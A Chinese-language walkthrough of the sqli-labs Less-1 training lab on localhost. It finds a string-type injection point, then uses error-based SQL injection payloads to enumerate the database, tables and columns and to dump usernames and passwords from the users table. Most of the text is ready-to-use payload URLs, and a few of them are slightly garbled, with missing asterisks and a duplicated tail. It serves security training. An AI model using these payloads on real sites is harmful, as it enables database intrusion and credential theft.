访问Less-1,并根据网页提示给定一个GET参数
http://127.0.0.1/sqli-labs/Less-1/?id=1
分别使用以下3条payload寻找注入点及判断注入点的类型:
http://127.0.0.1/sqli-labs/Less-1/?id=1'
运行后报错!
http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='1
运行后正常显示!
http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='2
运行后未正常显示!
由上述结果可以判断,网站存在字符型注入点。
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
显示结果为security。注意:请忽略后面的1。
http://127.0.0.1/sqli-labs/Less-1/?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
http://127.0.0.1/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
综合以上显示结果,users表中有id、username和 password三个字段。
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如
?id=1' and (select 1 from (select count(),concat((select concat_ws(',',id,username,password) from security.users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)--
http://127.0.0.1/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+x)a)--+
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。